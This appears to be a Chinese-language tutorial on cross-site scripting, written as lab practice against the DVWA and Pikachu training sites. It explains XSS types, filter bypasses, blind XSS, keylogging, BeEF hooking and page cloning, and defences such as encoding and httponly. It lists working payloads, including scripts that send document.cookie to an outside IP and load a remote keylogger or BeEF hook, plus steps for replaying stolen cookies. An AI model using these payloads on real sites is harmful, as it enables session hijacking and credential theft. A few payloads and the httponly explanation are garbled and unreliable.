一.基本概念
XSS(Cross Site Scripting)俗称跨站脚本攻击。攻击者向web页面插入恶意脚本(js代码),当用户浏览该页面时,嵌入web中的js代码会被执行,从而实现恶意攻击用户的目的。
1.xss攻击的对象
用户层面
2.形成xss的前提条件
(1)能插入js代码
(2)插入的js代码能够执行
3.原理
web页面的一种常见功能是将用户的输入显示到前端页面上,如果输入的内容包括js代码,提交后再次访问该页面时,用户就会获取js代码在浏览器执行的结果。
二.XSS的分类
1.反射性
非持久型,常见类型实在url中进行共构造,将恶意链接发送给用户,当用户访问该链接时,会向服务器发送get请求来访问带有恶意代码的链接。以get请求较为常见
1.1非持久型
仅生效一次,用户再次访问时失效
1.2基本流程
【黑客】发送带有xss恶意脚本的链接----->【用户】用户点击恶意链接,向服务器进行访问----->【正常服务器】将xss和正常的网页一起返回到用户的浏览器----->【用户】用户浏览器对恶意xss代码进行解析,访问【恶意服务器】----->【黑客】黑客从自己搭建的恶意服务器中获取用户提交的信息
2.存储型
持久型,常见在留言板,评论等位置将恶意代码都存入服务端,每次访问都会触发恶意代码。
2.1持久型
每次访问web页面,恶意xss代码均会执行
2.2基本流程
【黑客】黑客在目标服务器上构建xss恶意脚本,保存在数据库中----->【用户】用户访问了携带xss的页面----->【正常服务器】将正常页面和xss一起返回给用户的浏览器----->【用户】用户的浏览器解析了xss代码向恶意服务器发起请求----->【黑客】从自己搭建的恶意服务器中获取用户提交的信息。
3.DOM型
通俗来讲就是通过在网页html代码的标签中插入js代码实现xss攻击。
3.1DOM
<a onmouseover=alert(document.cookie)></a>
类似onmouseover的就是dom
3.2DOM型的特殊性
DOM型(也称本地跨站)是一种特殊的反射型XSS,不需要服务器的参与,依靠浏览器的DOM解析。完全是客户的事情,因此仅从服务端无法获取,较为隐蔽监控页面正文的waf和其他检测手段不容发现
三.手工注入
1.反射型
1.1low
输入下方代码即刻触发xss
<script>alert(1)<script>
利用img标签的onerror事件,该事件在装载文档或者图片的过程中发生错误就会触发onerror事件
输入以下代码
<img src=## onerror=alert(document.cookie)>
其他的不再列举,注意事件的触发条件
1.2DOM型XSS
将cookie发送带恶意服务器
<script>var img=document.createElement("img");img.src="目标网站/a?"+escape(document.cookie);</script>
代码解释:在script标签中创建img对象,利用escape对获取的cookie进行编码,利用img的src属性结合编码后的cookie访问,目标网站,黑客可以通过查看服务器的访问记录对编码后的cookie进行解码,从而获取用户cookie
1.3medium
查看源码发现script被替换为空
可以通过大小写,双写,更换标签等进行绕过
<Script>alert(1)</script>
<img src=## onerror=alert(document.cookie)>
1.4high
通过查看原码发现网站对script进行正则匹配过滤,大小写双写等全部失效,可以通过使用其他标签实现xss
插入代码
<img src=## onerror=alert(documnet.cookie)>
2.存储型xss
2.1low
查看源码发现没有做任何过滤
输入代码立即执行xss
<script>alert(1)</script>
2.2medium
通过查看源码发现message输入框使用的addslashes函数会对特殊字符进行转义,所以我们在name输入框中进行代码插入
输入过程中发现name对输入长度进行了限制,利用页面检查或者bp进行修改
四.XSS盲打
盲打属于一种攻击场景,属于存储型的xss
,顾名思义盲打指的是无法从前端看到输入的信息我们只能将代码传到后端,当管理员访问时就会遭到xss攻击
访问后台,发现弹窗
五.键盘记录
我们可以通过键盘记录脚本实现对用户输入的检测和记录,这里以pikachu为例
进入xss键盘记录脚本中置换攻击者的恶意地址
在存储型的模块中输入payload
<script src="http://118.89.145.124:80/pkxss/rkeypress/rk.js"><script>
登录后台查看键盘记录
六.xss平台利用-获取cookie
1.初始化自带的xss平台
2.前台xss盲打获取cookie
通过源码发现网站利用xcookie下的文件进行获取和存储cookie
通过后端产看我们知道是利用xcookie文件下的cookie.php进行cookie的收集
前台盲打输入payload
<script>document.write('<img src="http://118.89.145.124:80/pkxss/xcookie/cookie.php?cookie='+document.cookie+'"/>')</script>
登录后台cookie搜集页面即可查看到cookie信息
退出留言板的后台界面,利用cookie editor修改cookie(注意:必须是在需要登录的页面进行修改),将盗取的cookie填入
直接输入http://118.89.145.124/vul/xss/xssblind/admin.php
进入后台管理界面
3.Beef-xss
Beef是一款功能强大的web框架攻击平台,集成了许多payload,可以通过xss漏洞配合js代码和metasploit进行渗透,支持图形化。
老版本的kali自带新版本的需要自己安装
切换root用户
因为是第一次使用kali所以需要我们更换国内的源
sudo vim /etc/apt/sources.list
安装beef
apt-get install beef-xss
进入beef-xss中
cd /usr/share/beef-xss
找到配置文件修改监听地址为本机ip,初次使用修改密码
了解监听过程:通常我们会向目标传入一个脚本文件用来构造连接内部和外部的通道,同时我们需要在外部设置一台主机或者工具等作为监听对象(必须有地址保证连接)
启动beef
./beef
这里有三个我们需要了解的地方
hook url :劫持程序,让目标执行预定的操作
ui_url:beef的控制台页面
restful api key:利用beef攻击时所需要的启动密钥
登录beef的控制页面
http://192.168.129.128:3000/ui/panel
online browsers在线的对象
offline browsers离线的对象
3.1使用beef克隆其他网站
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"<URL of site to clone>", "mount":"<where to mount>"}' -X POST http://<BeEFURL>/api/seng/clone_page?token=<token>
需要更改的参数:
(1)“url of site to clone”: 替换为需要更改的地址如:www.baidu.com
(2)“Where to mount”: 替换为我们想要设置的路径
(3)“beefurl”:替换成beef的地址如:http://192.168.129.128:3000
(4)token值:替换成beef的restful api key
进行访问:需要携带路径
3.2使用beef克隆pikachu的xss登陆页面获取账号密码
在beef的logs页面获取提交的表单信息包括账号密码
3.3使用beef攻击pikachu平台的"XSS盲打页面"获取cookie
在该页面上传hook脚本,让用户触发xss
<script src="http://192.168.129.128:3000/hook.js"></script>
后台接收到xss代码,控制管理员向hookurl发起请求(加载和解析js脚本)
这里已经生效了
进入beef的后台管理页面利用hook.js执行相关的操作
Current Browser->Command->Browser->get cookie->点击excute
点击command获取cookie
发现获取的cookie一致
command各个状态
七.XSS防御绕过
1.过滤不严格
1.1 大小写混合过滤
1.2使用其他标签
该函数默认配置下仅过滤双引号,设置了quotestyle才能同事过滤单引号和双引号
可用的quotestyle类型:
ENT_COMPAT - 默认,仅编码双引号
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号
八.XSS安全防御
明确xss攻击的两要素:
1.攻击者提交恶意代码–输入
2.浏览器执行恶意代码–输出
1.输入检查
输入检查的逻辑,必须放在服务端代码中实现。如果只是在客户端使用 JavaScript 进行输入检查,是很容易被攻击者绕过的。目前Web开发的普遍做法,是同时在客户端 JavaScript 中和服务端代码中实现相同的输入检查
以下为需过滤的常见字符:
[1] |(竖线符号)
[2] & (& 符号)
[3];(分号)
[4] $(美元符号)
[5] %(百分比符号)
[6] @(at 符号)
[7] '(单引号)
[8] "(引号)
[9] '(反斜杠转义单引号)
[10] "(反斜杠转义引号)
[11] <>(尖括号)
[12] ()(括号)
[13] +(加号)
[14] CR(回车符,ASCII 0x0d)
[15] LF(换行,ASCII 0x0a)
[16] ,(逗号)
[17] \(反斜杠)
2.输出检查
2.1html实体编码
htmlentities()和htmlspecialchars()
& (和号) 成为 &
" (双引号) 成为 "
’ (单引号) 成为 ’
< (小于) 成为 <
(大于) 成为 >
<script>
2.2javascript编码
与php函数编码方式不同,需要使用反斜杠\进行祝转义
\ 转成 \
/ 转成 /
; 转成 ;(全角;)
3.httponly
许多xss攻击的目的就是为了获取用户的 cookie,将重要的 cookie 标记为 httponly 属性,这样的话当浏览器向服务端发起请求时就会带上 cookie 字段,但是在脚本中却能访问 cookie,这样就避免了XSS攻击利用JavaScript 的 document.cookie 获取 cookie 。严格来说,HttpOnly 并非阻止 XSS 攻击,而是能阻止 XSS 攻击后的 cookie 劫攻击